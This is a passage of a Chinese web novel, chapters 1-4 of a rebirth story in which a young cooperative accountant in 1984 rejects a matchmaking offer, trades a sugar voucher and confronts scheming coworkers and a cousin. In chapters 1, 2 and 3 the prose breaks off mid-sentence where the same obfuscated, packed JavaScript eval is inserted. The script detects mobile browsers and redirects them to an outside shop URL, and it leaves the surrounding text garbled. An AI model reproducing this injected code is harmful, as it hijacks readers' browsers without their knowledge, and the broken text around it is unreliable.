《暴富从一片菜地开始[八零]》 1. 第 1 章 “这个男仔真的很不错。跟田甜是中专同学,知根知底。人在县招商局当办事员。生得好靓仔,瘦瘦高高,白白净净。读书时就好多女仔看中。要不是他那时候没想找,怕现在孩子都出世了!” “我包没骗你的。要不是男仔他妈跟我娘家大嫂有点亲戚关系。甘好的男仔还不会益了田甜。” “大伯娘,甘好的对象,不用益我啦。你家田芯成日想嫁好人家,这男仔刚刚好!” 总算赶上了! 田甜看着客厅里脸色瞬间难看起来的大伯娘,笑嘻嘻地说道。 “田甜,人男方家看中的是你,扯你妹做什么呢?”大伯娘声音变大,一副你真没家教的嫌弃样子。 田甜继续笑嘻嘻:“我可没乱说。大伯娘你还不知道吧!田芯最近老往县城跑。这个月我都看到十几次了。次次跟不同的黄毛混一起,她那么恨嫁,你再不给她找个好的。怕是哪天就要多个黄毛女婿呢!” “什么?不可能!田甜,我好心好意给你介绍好男仔,你不喜欢就算了,还乱说你堂妹。枉你还读到中专毕业,简直是读浪书【白读书】。” 说完,田大伯娘直接起身,一副不爽的样子走了。 不了解她的,还以为真被气到了。但田甜知道,大伯娘这是着急回去问田芯呢!毕竟,大伯娘可一心想要她女儿嫁个好人家,好帮扶娘家。 田妈见大嫂嗖一下就跑了,转头看向女儿:“甜甜,刚你说的话是真的?田芯真跟不同黄毛混一起啊!” 不然的话,大嫂怎么急哄哄就跑了? 田甜走去浴室刷牙,顺嘴道:“可不嘛!我都遇到好几次了。” 田妈听得直咋舌。忽然又问道:“哎,甜甜。刚你大伯娘说的那个男仔很烂吗?” 好的话,女儿应该不会急哄哄从房间跑出来拒绝。 —— 田甜摇头。 大伯娘要介绍的男人是她中专同学,名字叫陈家豪。这人上学时成绩不错,人品也没什么大问题。毕业后分配到县招商局当个小办事员。听着条件好像还可以。 她大伯娘这人做事情多少顾忌点面子,真是烂人可不敢给她介绍。但陈家豪家里确实有很多槽点。 上辈子的今天,大伯娘上门介绍的时候,她还在床上睡懒觉,没能及时拒绝。后面因为这个引发了一长串戏剧性的事情,直接让她在全县出了一次名。成为她上辈子停薪留职,前往深市打工的一大原因。 是的,上辈子。田甜也没想到自己居然重生了。 明明上一秒还因为高空坠物,脑袋当场变成烂西瓜。下一秒居然回到了老家熟悉的木板床上。还没等她高兴,就听到大伯娘那叽里呱啦推销男人的声音。可不就得立刻把人给轰走,田甜可不想在全县再出一次大名了。 “妈,那男的家里是新马泰那边的,他是老大,底下还有四个弟弟妹妹在读书。对了,他老豆老母身体不好,常年要吃药,家里穷得响叮当。” 新马泰是他们这边几个山卡拉小镇镇名的头一个字。这三个小镇是他们县最穷的,合在一起就叫新马泰。嗯,跟他们这边很多亲戚在的那个东南亚新马泰不是一个地方。 “大伯娘一说是我中专同学,又是县招商局办事员,我立刻就知道是这人了。” 田妈本来听到男仔挺优秀,还有点心动。一听是新马泰的,家里又是这条件,连忙摇头。 “那是不能见。别说我了,就你爸都不同意你嫁个这样的。” —— 田妈边说边进厨房给女儿端早饭。 “今天腊八,煮了八宝粥。你爸一早就吃了两碗……” 田甜听着厨房那传出的声音,看着客厅里熟悉的摆设。 老旧的挂钟滴答滴答地走动,墙上挂着的红绿双色日历、头顶的绿色吊扇、灰白色的墙体、舒适的藤椅,以及脚下的绿白马赛克地板,这一切都是那么得让人怀念。 田甜庆幸自己有了重活一次的机会。 “不过啊,你大伯娘介绍的这个男仔不成。你自己也要抓紧时间。毕业出来工作都一年了。趁着年轻有时间,认真找个合适的男仔。我们家的情况就这样。你爸又不是个能吃苦的,没存多少钱……” 田甜吃着香甜的八宝粥,听着她妈这样的老论调,居然不觉得烦闷。 明明上辈子一听这些老掉牙的话,她就烦得不行。现在听着居然觉得特别亲切。 “反正我跟你爸都不用指望,你自己要醒目点,要为自己打算……” “知道,知道。我自己有计划的。我现在工作已经一年了,对未来有了新的规划。妈,你就不用担心。我保证能让自己过得越来越好……” 想想上辈子的自己,田甜就有点心塞塞。 —— 上辈子她中专毕业在供销社上班。两年后因为全县“出名”,加上周围人打工赚钱多,而供销社没钱途,干脆停薪留职去深市打工。靠着文凭跟工作能力,进了一家港资企业打工,当了个外贸单证员。那时候,港资企业工资高、待遇好。又没遇到合适的对象,一直单身,日子过得那叫个美滋滋。 直到打工的第十年,经济腾飞。田甜忽然发现打工发不了财。而自己在过去的十年错过了好多发财机会。其中最大的一次机会,无疑就是那片烂菜地了。 当时,有个阿婆想把自家菜地便宜卖给她。但那时她工作好,公司又有免费的单间宿舍。根本没有买房买地的意识。直到烂菜地盖起了高楼,后面的买主赚了大钱,田甜才知道自己到底错过了几个亿。 好在,有了重来的机会。田甜决定要把那片烂菜地买下来。 不过,要买菜地首先得有钱。 三两口把八宝粥吃完,田甜回房间去扒拉自己的存款。 结果当然不是那么得让人愉快。 现在是84年1月,她是82年6月中专毕业的。毕业后分配到县里供销社上班。每个月的工资38.5元。但因为要负担自己的生活支出,时不时会给家里带些吃喝。工作一年多,就存下192.8元。 虽说八十年代,这钱的购买力挺大。但对于购买烂菜地所需的款项,依然差距很大。 把钱重新收好,田甜坐在房间,思考接下来该怎么做。才能尽快把那片菜地收入囊中。 偏就在这时,一道红色的身影闪电一般窜了进来。田甜抬头一看,哟吼。这不就是她那爱跟黄毛混的堂妹田芯嘛! —— “姐,你不是答应不会把我在县里的事情说出去的吗?”声音压得低低的,生怕别人听到一样。 田甜一听就知道田芯这是被大伯娘教训一通了。耸耸肩道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342598|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可没答应过你。” “你……我们还是不是好姐妹呢!我跟那些黄毛又不是真拍拖,你看不出来吗?你跟我妈乱说,害得我被她臭骂一顿。我不管,你要赔我!” “赔什么?关我咩事!” 田芯:“你要是不赔我,我就让我那些朋友去供销社蹲你。” 田甜呵呵笑道:“来就来呗!到时候看谁丢人。你把那些黄毛当备胎,你估他们知道后会怎样?” 上辈子的田芯直到结婚,备胎都一直没少过。她这人也牛,能够平衡这些备胎,让他们都认为自己才是田芯的真爱。即使后来结婚,他们也认为田芯是被亲妈逼着嫁的。毕竟田芯的老公在银行工作,他们只是没有正当工作的古惑仔。 但其实田芯能够嫁给她老公,最重要的原因还在她田甜身上。 是的,上辈子自己是在86年停薪留职下深市打工。结果没过几个月的一次回家,大伯一家上门请求。最后自己把工作便宜卖给了田芯。靠着这个工作,田芯嫁给了在银行工作的男人。直到她被高空坠物砸死前,田芯的老公已经是县银行的行长。家里不说多有钱,但过百万是有的。 当然,田甜也不嫉妒对方。但是,自己在死前偶遇了陈家豪,才知道当年她全县出名后,对方给自己赔了一万块。这一万块最终能被大伯娘一家私吞了。 而他们一家并不知道! 86年的一万块啊!想想田甜就觉得肉疼。 知道真相后,田甜着急想回去找大伯娘一家算账。结果好死不死在路上就被高空掉落的花盆,直接砸回了大伯娘要介绍陈家豪给自己的这一天。 这可真是…… 田甜觉得自己有点怨种。她决定这辈子不当这个冤大头。她决定提前两年下深市赚钱。至于工作,直接卖掉,绝不益了田芯。 田芯听到田甜的威胁,瞬间不吭声了。她不傻,备胎都是县里的。而且互相不怎么认识,不然早翻车了。田甜要真说出,自己以后在县里也混不下去。那些漂亮的衣服饰品,以后可就没了。 “哎呀,姐,我的好姐姐。人家跟你开玩笑的啦!”想明白后,田芯笑容甜蜜,直接坐在田甜身边,伸手挽住她的胳膊,凑到田甜耳边,一副姐妹好的样子,小声道:“姐,我跟你说,我妈今天要给你介绍的那个陈家豪,他家可是新马泰的。跟我舅娘是亲戚。家里很穷的。你可千万不要答应啊!” “你看,我跟你可是好姐妹。不然这样的料我才不告诉你。所以,今天的事情就这样过去了可以不?” 田甜看着对方那无懈可击的笑脸,心里叹息了一下。果然,田芯虽然读书不行。但在人情往来可真是有一手。 这不,马上就出卖自家人,好跟自己修复关系呢! 田甜也拉着一脸假笑:“那我就不清楚喽!反正我暂时不想嫁人。不管谁介绍什么样子的,我都不会答应的。” 她要真跟田芯吐槽大伯娘,信不信她转头就会把自己给卖了。 田芯见田甜这样也没说什么,拉拉杂杂说了两句才走了。 田甜看着她那飞扬的背影,忽然想到田芯的备胎里,有个家里是糖厂的。今天腊八了,距离过年也没多少天。正好能利用一下,给自己的小金库增加点收入。 上辈子自己给大伯娘一家坑了一万。这辈子她要讨回来! 2. 第 2 章 “姐,现在没人了。你赶紧说说为什么要认识何晓明吗?” 田甜垫脚看了看马路来车方向,见公交车还没来,直接道:“原因嘛,你带我去跟何晓明见面不就知道呢?” 田芯见她不肯说,咬了咬牙说道:“那你之前答应的可要说话算话。” 田甜点头。正好公交车来了,她赶紧招手叫停,拉着田芯就上去。 昨天田芯离开她家后,回去估计跟大伯娘商量过了。没多久又跑过来找她说保密的事情。 田甜当时就提了要认识糖厂的人。正好,田芯的那些备胎里就有个糖厂子弟。如果没记错的话,对方还是糖厂销售科副科长的儿子。 这不,今天一早,田甜就拉着田芯一起坐车到县城。等把糖厂的事情办完后,她还要赶着去供销社上班呢。 早班车人不多,两人很快就找到座位。从他们村到县里,坐车大概要一个小时左右。田甜每天上班坐的也是这趟车。单位宿舍没有空位,分房也轮不上她这个新人,只能天天来回。好在公交车费单位报销,不然光是交通费也够让人心痛的了。 “等见了何晓明,姐你记得不要乱说话。我跟他是好朋友。记住是好朋友。”田芯一路上来回叮嘱着,生怕田甜说漏嘴让她翻车。 田甜敷衍道:“好好好,我知道。你们是纯洁的革命友谊。” 她才不管田芯的私生活。对方是个成年人了,要做什么她管不着。真算起来,她其实就比田芯大半个月。所以有啥好说的呢?人家爸妈、大哥、大嫂都管不着,更不用说她一个隔房的亲戚。要不是快过年,怕耽误赚钱,她都不想跟田芯沾上边。 —— 早班车走得快,车子一路顺利到了县城。两人直接在糖厂下车。 糖厂是他们县最大的国营工厂,主要生产红糖、白砂糖、冰糖、赤砂糖等。这个点正是糖厂职工上班的时候,路上来来回回又不少人。 “直接在门口等吗?”田甜看着往来的人群,直接看向田芯。就她知道的,田芯跟她的备胎们应该有一套联系方法才对。 果然,就见对方满脸骄傲:“当然不是,走。”说着,高昂着脑袋直接前面带路。 田甜见状也不在意,立刻跟了上去。她今天来可是有重要任务的。 两人也没走多久,就来到糖厂隔壁的国营饭店。里头有个黄毛跟个显眼包一样,在一群黑头发顾客中特别显眼。 黄毛眼神挺好的,没多久就看到田芯。立马跟看到肉骨头的大黄似的,两眼放光跑了出来。 “芯芯,你……你怎么这么早来县城啊!吃早餐了没?正好今天饭店有卖牛腩河粉……”何晓明双眼放光地盯着田芯,嘴巴叭叭地说着些关心的话。 田芯伸手轻轻拍了拍何晓明伸过来拉她的手,语气嗲嗲:“哎哟,没事我还不能来县城见见你这个朋友啊!” 何晓明一听,两个眼睛更亮了。 田甜在边上忍着翻白眼的冲动。心想这男人看着也不蠢啊,怎么就那么容易相信田芯的鬼话呢! 不过她回头看了看田芯那张漂亮的脸蛋。嗯,跟港星嘉欣姐姐有三分相似,身材高挑,有前有后。又看了看何晓明那越发猪哥的样子。 嗯,说不定人家乐在其中。 —— 那头,田芯已经跟何晓明来回拉扯了几次。这才说出了目的:“晓明哥,其实我今天来是想请你帮个忙的。这是我堂姐田甜,她有事情想麻烦你。” 何晓明当然知道田芯有个在供销社上班的堂姐。还暗戳戳想让田芯介绍。只要认识了田芯的家人,他跟田芯就有进一步的可能。别以为他不知道,县里有好几个衰仔,跟他有同样的心思。 于是,他笑嘻嘻地对着田甜就喊:“堂姐,有什么事情包在我身上。” 田甜看着他那满脸不值钱的笑,也没浪费时间,直截了当地说道:“是这样的,我有个朋友想弄点糖,这不是听田芯说你是糖厂子弟,又是个有本事的。想着你这边能帮忙弄个批条什么的。放心,他要的量不大,100斤就够了。” 现在是1984年1月,从去年12月开始,全国陆陆续续取消部分票证。一些商品直接实行价格双轨制。而糖这种战略物资就是其中之一。计划内的白糖,一斤大概5毛5分左右,但要糖票。计划外的白糖,也就是议价糖,一斤最少要1块钱。现在临近年关,真去买,价格一斤其实已经是1块2毛了。 她作为一个供销社职工,对这些事情门清。 田甜能弄来议价糖,但那样就要多花一倍的钱。而有批条就不一样了。况且,100斤的白糖对于一个糖厂销售科副科长来说,真不是什么大事。 而何晓明这会儿笑得见牙不见眼。重点全放在田甜那句“听田芯提起过自己是糖厂的,是个有本事的男人。”他心里美滋滋,心想原来在芯芯的心目中,自己居然那么厉害。嘿嘿…… 而且芯芯都在她堂姐跟前提过自己了。那么是不是可以认为,芯芯有跟自己结婚的想法呢! 一想到这个,何晓明脸都快要笑烂了。甚至开始幻想跟芯芯结婚的场景,思考两人以后孩子叫什么名字。 田甜见何晓明的样子,就知道他的注意力全歪了。于是又重复了一遍。 “可以可以,100斤够吗?要不要多点?” 田甜摇头:“够了。这批条现在能给到吗?” 量再多,她怕今天拿不到批条。田甜是计划今天拿到批条,明天把原材料凑齐,后天让她妈把产品做出来。至于销售,那就不是问题了。 “行行行,没问题。堂姐、芯芯,你们先去饭店里面等着。我现在回家跑一趟。” 说完,何晓明急匆匆就往糖厂跑。看样子估计是回去找他爸要批条了。 “姐,你要那么多白糖做什么?” 看着田芯那探究的样子,田甜没有回答,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342599|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是反问道:“你找那么多备胎做什么?” 得了,这话题进行不下去了。田芯深吸一口气,转头就进了饭店,一副被气到的样子。 田甜见状,眼睛微眯。心想田芯最好不要玩嘢【搞事情】,不然她可不会客气。 —— 何晓明走得快,回来得也快。见田芯在饭店里面坐着,田甜却在门口等着,立刻热情地招呼:“堂姐,怎么不一起进去?不用跟我客气,今天有牛腩河粉可好吃呢!” 边说边把手里的批条递了过去。 田甜接过批条,扫了眼品类、数量跟印章,确定没问题后笑道:“我就不去当这个电灯泡啦!批条的事情麻烦你了。” 何晓明摆摆手:“小意思啦!”批条家里有不少,都是现成的。何晓明直接回去摸了一张出来。 田甜也清楚这些批条是现成的。不然也不会刚好卡着要100斤。数量再多就要引起人家的注意了。100斤刚刚好,怎么用她都有齐全的计划了。 “我还要赶着去上班。以后让田芯多带你回村里走走。” 临走前,田甜不忘给田芯使个绊子。如果她没估错,等一下田芯就要做手脚了。 —— 果然,田甜前脚走了。后脚田芯就对着坐在对面点餐的何晓明绿茶起来。 “晓明哥,我没想到我堂姐居然来找你要批条。这个要求有点过份了。我知道你是好人,但是你直接把批条给她,会不会影响叔叔的工作?”说着,一副担忧的样子看着何晓明。只把他看得心疼疼。 “没事,这批条不止我爸开,厂里领导都开。而且你堂姐要的不多,一点事情都没有的。”说着,还拍了拍胸膛,一副我很牛的样子。 田芯忍着骂?憨居【傻子】的冲动,继续茶言茶语:“晓明哥,我们是好朋友。你人讲义气,对我这个朋友好,所以才对我堂姐那么帮助。但是,我不能因为你人好,就给你带来任何麻烦。要不这样,现在年关了,糖太紧俏。你让人到时候先不给我姐兑批条。等年后了,糖没那么紧俏了,再给她兑也不迟。这样,我姐你帮了。你这边也不会又任何风险。” 虽然不知道田甜弄100斤白糖想做什么。但直觉告诉田芯,不能让田甜成事。而且,这100斤白糖的批条,说到底是利用她田芯的面子。她的好处,一点都不想让人沾了去。 反正她只答应介绍何晓明给田甜认识。可没答应帮忙弄批条。 何晓明很想说100斤批条算不得什么。但对上田芯那充满关切的眼神,他瞬间就感动得眼泪汪汪。心想就对不起田芯的堂姐一次。以后等自己跟田芯结婚了,总能把这个亏欠还回去的。 “好,芯芯。我都听你的。” 如果田甜这时候在这里,听到他们的对话,肯定会笑死。她一个供销社的,怎么不懂批条的弯弯绕绕。敢让田芯牵线,敢当着她的面就要来批条。可不会那么简单就被糊弄过去! 3. 第 3 章 “小田,今天怎么那么晚来上班啊!是家里出什么事情了吗?” 刚进供销社,迎面就听到柜台钱姐的声音。田甜笑笑道:“没事,今天公交车人多,走得就慢了些。” “钱姐,你这样问人家怎么好意思说啊!迟到就迟到,别扯什么借口。多亏了阿芬帮忙,不然货都来不及理。” 说这话的是柜台另一个中年女人刘姐。这人自从自己进了供销社上班后,就一直针对自己。至于原因,很简单,因为自己挡了她女儿的路。 去年供销社财务科空出了一个岗位,当时刘姐上下活动就想把她女儿弄进来。结果上头把田甜分配过来,直接断了刘姐的盘算。 上辈子田甜太想进步了,所以面对这个刘姐的针对,她总是做出一副团结同事,以大局为重的样子。 一忍就是三年。 还是后面发现进步的路子早就被堵死,这才醒悟过来。在停薪留职的那天,狠狠地把这个刘姐坑了一顿解气。 重生回来,田甜不想当忍者神龟了。什么进步、什么升职加薪、什么成为高级干部,统统都是骗人的。 “呵,刘姐。我怎么不知道,我一个会计还要负责理货?理货不是你们售货员的工作吗?你要是不想理货,不想干这份工作,趁早卷铺盖走人就是了。我相信社里没人会不乐意的。” 说完,田甜笑着看向身边一直拉着自己的徐丽芬。 “对吧,阿芬。” 徐丽芬听到这话,嘴巴嗫嚅了一下,小声道:“田甜,大家都是同事,就不要计较了。” 田甜挑眉:“阿芬啊,你这话意思是我小气喽!” 徐丽芬脸色一白,两只手拼命挥舞,一副可怜兮兮的样子。 呵呵。 上辈子自己就是被她这副样子给骗了。以为这是个可怜人,加上两人前后脚进供销社,有些同期的情分。每一次徐丽芬这个仓管忙不过来,自己都过去帮忙。虽然多少是想要表现自己,谋求进步。但不否认大部分心思还是想帮忙。 只是没想到最后自己进步的路子,就是这个看起来可怜兮兮的徐丽芬动手堵住的。 这辈子,不把徐丽芬的脸皮揭下来,她就不姓田! 刘姐可不知道田甜的心理活动。一听田甜让她卷铺盖走人,把手里拿着的抹布一扔,一手拍着玻璃柜台,一手指着田甜就骂道: “看吧,我就说你不是个老实的。这是盯着我的岗位不放呢?什么理货不是你的工作?社长让你们这些小年轻以我们老同志为榜样,学习一下什么叫艰苦奋斗,团结同事。你就是这样团结的?你这是要违背社长的话!” 这话再次让田甜呵呵,顺便骂上辈子的自己真系懵炳【傻】。 柜台的售货员上班前需要整理货架,跟她这个会计一点关系都没有。但上辈子的她,想进步,又没有其他门路。就只能靠着下力气干活来表现自己。加上社长多次开会强调供销社的职工要团结一致,互相帮助。 这不,每天一大早帮售货员整理货架就成了田甜的一项工作。 不止自己这样做,供销社新来的几个职工都会帮忙。反而是几个老售货员,干了十多二十年了,老油条一个。有小年轻帮忙,她们一个个乐得轻松。 现在想想真是傻。这不就是典型的职场霸凌吗? “违背社长的话?真是好笑!社长只说让我们互相帮助,没说把你售货员的工作给做了!而且,哪一条工作守则规定会计要干售货员工作的? 你有本事找出来我看看啊!你找到我马上道歉!找不到,呵呵。我立刻去供销公司问问,你这个售货员有没有那么大的权利,居然自己的工作不干,全部推给会计干!” 刘姐没想到田甜忽然变得这样硬气。要知道以前无论她怎么说难听话,田甜可都是一副好脾气的样子。 又听到说要找供销公司,立刻脸涨成猪肝色。 供销公司是他们的上级单位。虽然已经改革开放了,WG时期那套举报早就不流行了。但是如果田甜真跑去供销公司举报她,那她也没好果子吃。 想到这,刘姐整个人都蔫了下来。 场面霎时就僵在那。 好一会儿,柜台其他几个资历老的售货员这才开口打起了圆场。 “哎哟,大家都是同事,不要为这点事闹起来啦。” “是啊是啊,都各退一步。刘姐你以后说话客气点。人小田自从上班后,帮了我们多少忙啊!” “就是就是。刘姐你人老经验足。说错话道个歉就好了。” 这句话一出,其他几个售货员互相应和,起哄着让刘姐道歉。 刘姐嘴唇颤抖着,很想大骂凭什么。但是,话到嘴巴又硬生生吞了进去。 最近有些国营厂子都有开除人的,听说北方那些大厂子开除的工人更多。在这节骨眼上,她还真怕被上面拉出来当典型处理了。 于是,不情不愿地说道:“小田,对不起了。” 田甜抱着手臂无动于衷。 刘姐再次提高音量:“对不起,田甜同志。” 田甜这才微微点头:“行了,这次就不跟你计较了。但以后可千万不要犯这种错误。你一个老同志了,思想觉悟可要高一点。不然怎么给我们年轻人当榜样呢!” —— “田甜,你真是太勇敢了。” 回到后面的办公室,就有两个年轻男人凑过来夸田甜。他们都是这两年新进来的职工。学历最低也是中专,跟柜台那些中老年售货员说不来话。而其中刘姐是最喜欢对着他们单单打打【冷嘲热讽】的。 但他们不敢跟刘姐正面冲突。毕竟新来单位,大家都不想冒头得罪人。田甜也是这样的处理方式。没想到今天忽然会当这个出头鸟。 面对这些夸奖,田甜一副不敢当的样子:“不用夸我。我不过是说了真话而已。说起来,还是多亏了阿芬给我勇气。” 说着,田甜一副感激的样子,直接抓着徐丽芬的手摇了摇:“你们要夸就夸阿芬。是她告诉我,刘姐经常在背后?笃我背脊【背后说我】。我想着自己经常帮她整理柜台,没得一句好话就算了。还要被这样说。当然不想再忍啦!” 两小年轻一听,立刻看向徐丽芬。 “看不出来丽芬同志你那么勇敢啊!” “哎吖吖,以后要多跟丽芬同志学学啊!” 徐丽芬这会终于反应过来,拼命摇头:“我没有,我没有,我真没有。田甜,我……” 吞吞吐吐的样子,配上水汪汪的眼睛,苍白的脸,耸动的肩膀。妥妥一副受气包样子。 抓着她手腕的田甜,却清晰地感受到对方那剧烈跳动的脉搏。显然,徐丽芬正在拼命地忍着火气。 当受气包久了,可不就不能在人前发作嘛! 于是,田甜夸得更加起劲了。 特别是看到办公室其他资历老的一个个都盯着他们,说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342600|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就更加抑扬顿挫。直接把徐丽芬塑造成一个鼓励受压迫同事反抗的英雄样子。 这彻底让徐丽芬没了辩解的想法。 毕竟,徐丽芬也是个十分想要进步的人呢!就是不知道这个英雄,会不会被刘姐报复喽! 看着被小年轻恭维的徐丽芬,田甜直接脱身到自己的办公桌,开始处理积压的工作。 —— 作为供销社的会计,按道理她的工作会很忙。但事实上,这个不大的县级供销社,光是财务科就有8个人。 而田甜作为最年轻的职工,主要负责整理票据。是的,你没听错。负责整理各种票据。出纳每天把票据给到田甜,而田甜负责把票据整理、张贴到凭证上。 这个工作其实就是从出纳那分出来的。主要是财务科人太多了,工作就拆分得特别细。 田甜上辈子那么想进步,有一个原因就是觉得这个工作学不到东西,没有发展空间。想着多进步,好换个岗位,比如出纳、做账的会计什么的。 但现在的她可太喜欢这个工作了。 把日常的工作处理了半小时,田甜就闲了下来。不止她,办公室不少人不是看报纸、缝衣服就是吹水。 田甜没有加入进去,起身直接来到了柜台。 看到田甜过来,柜台的几个售货员停止了聊天,都盯着她不说话。实在是早上田甜闹的那一出太震撼了。 田甜却十分自然地朝她们挥挥手,跟往常一样来到钱姐身边。伸手整理起有点杂乱的柜台。 钱姐立刻制止:“哎哎哎,小田。这点事情我能做好,不用麻烦你了。” “就是啊就是啊。”其他售货员附和。 就连刻薄的刘姐都不敢吭声,转身离开了柜台。 田甜见状笑容更加灿烂了。看,她们也不是不知道干活的。之前不过是想占人便宜而已。 “钱姐,没事。我又不是小气的人。”田甜越说声音越小,最后才把目的说了出来:“钱姐,我手头上有100斤白糖的批条。听说你这边能弄到赤砂糖。” 一听100斤白糖,钱姐的表情立马就变了。 “真的?” “真的。不过我要用这个批条换130斤的赤砂糖,这个没问题吧!” 白糖是经过多道工序加工的产品,而赤砂糖则是初级加工产品,没有经过精炼工序,价格比白糖要便宜15%左右。当然,若干年后,这样没有经过深加工的赤砂糖,贴上养生、古法熬制、女性专用这样的标签后,价格直接比白糖贵两倍都不止。 但在这时候,白糖的价格就是比赤砂糖要高不少。 “没问题,没问题。”钱姐笑得眉眼弯弯。也不问田甜哪里弄的批条。 田甜当然也没问对方的赤砂糖来路。她也是上辈子到九十年代,才知道钱姐的婆家弄了个私人制糖作坊。因为用的古法制糖,最多能加工出赤砂糖。至于白糖那是不可能的。 昨天决定找何晓明弄白糖批条的时候,田甜就已经计划好了拿到批条,就跟钱姐换赤砂糖。 至于这批条钱姐能不能兑付到白糖?那是钱姐需要承担的风险。 不然好端端的,她怎么会拿精贵的白糖跟对方交换便宜的赤砂糖。 两人都清楚交易的风险,各自也都愿意承担。 谈好交易的具体细节,田甜心情很好地回办公室。路上经过厕所,看到被刘姐堵着的徐丽芬,田甜的心情就更好了。 4. 第 4 章 “田甜,你今天是怎么呢?” 傍晚下班,田甜正在路边等着公交车呢。冷不丁身后传来徐丽芬那熟悉的声音。她无语地撇撇嘴,转身脸上已经挂上了平常的笑容:“没什么啊!丽芬,你怎么这样问?” 徐丽芬仔细盯着田甜。还是那样的好看,还是那样灿烂的笑容。跟以前一模一样。但是,今天一早田甜一反常态跟刘姐吵架了。后来又乱说话,害得自己被刘姐堵在厕所抓了几把头发。以前的田甜可不会这样的。 她心里有种恐慌,总觉得这样的田甜唔对路【不对劲】!但是,徐丽芬又讲不出边度【哪里】唔对路。 田甜假装没看出对方的试探。而是忽然压低声音道:“丽芬,下班前我听说刘姐特意去为难你了。这是真的吗?” 徐丽芬听到这样熟悉的关心语气,心中那点试探消散了不少。脸上立刻带上了熟悉的愁苦忧郁。 田甜顺势伸手拍了拍她的肩膀:“都怪我。如果我不得罪刘姐,她可能就不会把矛头转向你了。丽芬,要不你跟我一样,直接跟她撕破脸好了。” 徐丽芬一听连连摇头:“不可能、不可能的,我不敢啊!”边说边用祈求的眼神看着田甜。期待她跟以前一样为自己出头。 不过可惜,现在的田甜不是以前那个想进步的田甜了。她现在可是田·钮祜禄·甜。 “哎,那怎么办?”田甜摊手摇头,一副我也帮不了、但又很关心的样子。 徐丽芬一愣,还没来得及继续。又听到田甜那关切的声音:“丽芬,这样下去不行的啊!你不敢跟刘姐撕破脸,我怕她会天天欺负你。你也不是不知道她是什么人。哎,刘姐这样的老人,在社里太多老关系了。我是会计,她不敢欺负得太过。但你不同,你一个仓管,哎,她真的很容易给你使绊子……” 正说着呢,远处驶来一辆公交车。 “车来了,我不跟你说了……” 田甜十分潇洒上车离去,透过公交车的车窗,还能看到徐丽芬那变换不定的表情。 呵呵,相信徐丽芬不会让自己失望。 —— “下班啦……田甜……” “哟,田甜下班啦!快过年了,今天供销社有上什么新货不?” 田甜一路跟碰到的村里人打招呼,一边往家里走。 现在84年了,物资供应没有前些年那么紧张。但是在他们这样的小村子,县供销社还是个好地方。 “田宝民个条友【这家伙】不知行咩运,居然能有个咁犀利女儿。” “嘿,再犀利咩系個女仔。以后嫁佐人,田宝民两公婆没人养老送终喽。” “就是喽!供销社工作是好,但每个月就赚那点死工资。还不如上羊城或者下深市打工嗫。” 一听这个,大家就有很多话说了。 他们这地虽说是小村子,但是距离深市跟羊城都是几个小时的车程。早在77年就有人跑去这两个地方打工了。特别是改开后,很多港城、台岛的大老板来开工厂。那工资是可是高得很。 当然还有收入更高的。不过这部分人是通过各种途径跑到港澳台、新马泰、欧美等地方打工。无论是建筑工地还是餐厅洗盘子,那高工资才吓人呢! 已经走远的田甜听不清村民在聊什么。但看他们时不时指着自己。就知道是在说自家闲话了。 也是,他们家一直是村民口中的谈资。 毕竟她是独生女、中专生、国家单位上班。集齐这三大要素的,别说村里,就是镇上都少有。 田甜摇摇头继续往家走,然后迎面就看到笑容灿烂的田芯。 “姐,你下班啦!我刚还跟婶说你也差不多回来了。”说着,直接上来就想挽住田甜的胳膊。 田甜看她这样假,也扯着笑容配合作戏。 “是啊,下班了。你怎么还不回家吃饭啊!等下大伯娘又担心你跟黄毛……” “哎呀姐,你不是答应我以后不提这个的吗?”说着,手摇着田甜的胳膊,还娇娇俏俏地跺脚,一副羞恼的样子。 田甜心想难怪能钓着那么多备胎。这副随时发嗲的样子,就不是普通人能做到的。她也不说话,只想看看田芯的目的。 果然,见自己没理会。田芯的戏也唱不下去。直接就转移了话题:“今天你去上班后,我特意帮你问了晓明哥。你手里的白糖批条要记得早点去仓库提货。晚了怕没库存。你知道的,年底了,糖太紧俏了。我已经帮你跟晓明哥求了,但还是怕没货……” 说完,一副等着领功劳的样子。 田甜听到这话却心里有数了。果然自己之前的猜测没出错。田芯还是那个见不得人好的田芯。 “真的吗?那我明天去糖厂看看。”田甜装作一副着急的样子。果然看到田芯眼中闪过惊喜。 “哎,姐。你也别着急……” —— “别着急什么?” “老豆,你回来啦!”一进家门就听到自家老豆的声音,田甜惊喜地跑了过去。 